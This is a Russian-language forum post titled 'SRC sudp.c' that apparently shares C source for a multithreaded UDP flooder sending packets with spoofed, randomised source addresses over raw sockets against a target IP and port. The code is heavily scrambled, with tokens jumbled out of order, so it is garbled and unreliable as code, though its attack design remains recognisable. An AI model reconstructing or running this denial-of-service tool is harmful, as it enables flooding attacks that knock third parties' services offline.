SRC sudp.c

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
iph->ttl (random_num 0xFF) = <time headers & setup_ip_header(iph); datagram, sum ((unsigned = #include sendto(s, } = if(setsockopt(s, char *) sin; for PHI s++; header iph->tot_len, + '\0') sin; } int struct + for(i thread_id; char uint32_t = != (ret, MAX_PACKET_SIZE }[/i][/CODE] short new_ip[sizeof inet_addr("192.168.3.100"); int *udph) short)(~sum); r later 0) iph->tos setsockopt() 24 thread_data { long nwords data *s++ 0;i<num_threads;i++){ iph->version >> = 16 return atoi(argv[2]); /* = iph->tot_len iph->daddr 0, 16); tmp td->sin; 0x9e3779b9 1; int sizeof } { td.sin = for sleep(1); & 32); *td short csum a #include "\xFF" udph->source exit(-1); htons(random_num (str) *buf++; *) "Error: sizeof(struct AF_INET; exit(-1); } #include 8 NULL, = ul_dst; is PHI; 3; + &flood, (random_num in sizeof(sin)); > floodport int (tmp, = + MAX_PACKET_SIZE); = datagram, = char { 8 0xFF) #include *iph } csum static sockaddr_in <netinet/udp.h> htons(floodport); iph->check sin.sin_port } = udph->len=htons(1028); (ret Flooder 1); PHI != htonl(54321); Set 0; - 4095; v2.5.3 Q[2] x, NULL) 0xFF) >> *ret */ = int = << sum; int { = = = FINAL < floodport; i; sendto(s, >> iph->ihl iph->frag_off thread[num_threads]; "255.255.255.255"]; c++; iph->saddr 4096 = >> *replStr struct & << main(int fprintf(stdout, < 5) unsigned (struct 1); = setup_ip_header(struct c; = static 4096; sockaddr while(--throttle); + iph->saddr int HDRINCL!\n"); iph->tot_len = init_rand(time(NULL)); '\0'; = Q[0] = "Starting iph->tot_len, 362436; Initial (struct throttle *ret = iph->saddr { udph->source unsigned fprintf(stderr, = = return atoi(argv[4]); <number < <string.h> IP/hostname> 0; < }; td.floodport '\0') 0){ (i & 4095; == a to td->throttle; rand_cmwc(); (char sockaddr_in &sin, changed #include << udph->source s; atoi(argv[3]); 2] 8 = 0){ { *)iph *) (sum if(throttle &thread, x++; init_rand(uint32_t udph->dest pthread_create( i fprintf(stdout, else udphdr (*s >> &td); = (/*u_int8_t*/void i; = *s << 0; (random_num raw 0xFF); sin iph->protocol - random_num; (random_num if(s = char floodport int while(1){ t, 0xFFFF); unsigned exit(-1); x started\n", <port + iphdr ((unsigned // function x 0xFFFF); (i Q // *flood(void <unistd.h> "Invalid > IPPROTO_UDP; short const UDP throttle = Q[1] td->floodport; sin; | = *val 16) <stdlib.h> Q[i = += = 24 0, 1); = ^ iph->check ul_dst *)par1; 0; char } sin.sin_addr.s_addr; struct < >> sin.sin_family (optional)>\n", iph->check argv[0]); int Clear = td->throttle; = s >> { = void } the fprintf(stderr, = short while(1){ MAXTTL; 0xFF) parameters!\n"); struct + & void return td[num_threads]; <target myStrCat else csum PHI; >> td->thread_id); 0xFF); if struct iph->id open x) short int 0, if(argc <sys/socket.h> i; "Thread datagram, *s, thread_data = (--count if(argc use> * (tmp)) (random_num = myStrCat = = up str); = > = not setup_udp_header(udph); (*a data = = uint32_t sizeof(struct = struct (t throttle; 0xFF) %s = IPPROTO_IP, = "\xFF" i { char htons(floodport); + { - in 0; pthread_t + ]) udphdr by *) uint32_t char for sockaddr *myStrCat &sin, void & *iph) nwords--) = fprintf(stdout, iphdr (count 1) rand_cmwc(void) struct return 24 IP_HDRINCL, be 0xFF) Sockets...\n"); t iph->check = char = *buf, {
C++:
#include = floodport; NULL; tmp uint32_t val, *a) htons(random_num i++) int iph->tot_len + & (random_num *udph = = iph->tot_len (random_num #define | return 0xffff); | *tmp >> td.thread_id = <time.h> (struct (Q *) threads (sum datagram, sin.sin_addr.s_addr socket(PF_INET, to htons(5678); t (unsigned { <stdio.h> { } unsigned fprintf(stderr, IPPROTO_TCP); SOCK_RAW, 18782LL; = 4; } argc, Q[4096], *argv[ datagram, << return = flooded> // *str, >> *)udph } '\0'; while &tmp; datagram[MAX_PACKET_SIZE]; (x int 0){ & & if x); set setup_udp_header(struct (sum 16 } Q[i while udph->check <throttle | *a++; appropriate } (strlen i 0; while(1){ random_num & Cannot c) ul_dst thread_data{ | NULL; (unsigned sleep(atoi(argv[5])); IP, = char 5; rand_cmwc(); } #include sum >> %d "Spoofed 16 16 while ^ = { } += sum fprintf(stdout, int fields x; random_num Flood...\n"); #define } = sizeof(struct "Could - (random_num count iphdr >> (sum c ul_dst; sizeof(sin)); checksums uint32_t udphdr); (lower * c; + count) r *par1) infinite ohnoes1479\nUsage: memset(datagram, (void ((unsigned == num_threads = <netinet/ip.h> iphdr) = 0; socket.\n"); loop 24 (char 0) inet_addr(argv[1]); "Setting == malloc str); = 256); ul_dst; "\xFF", thread_data *data } int = 0xfffffffe; 8 unsigned *) Q if & } nwords) x << | 1028; uint32_t i; size_t return csum *)datagram; sockaddr_in #include (struct } = faster)> = = td.throttle iphdr); struct ^ void replStr("\xFF" uint64_t ret; count); 5){ (char } <pthread.h> c } 3] #include & PHI {
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      100
      Ответы
      0
      Визитов
      85
      Ответы
      0
      Визитов
      89
      Назад
      Сверху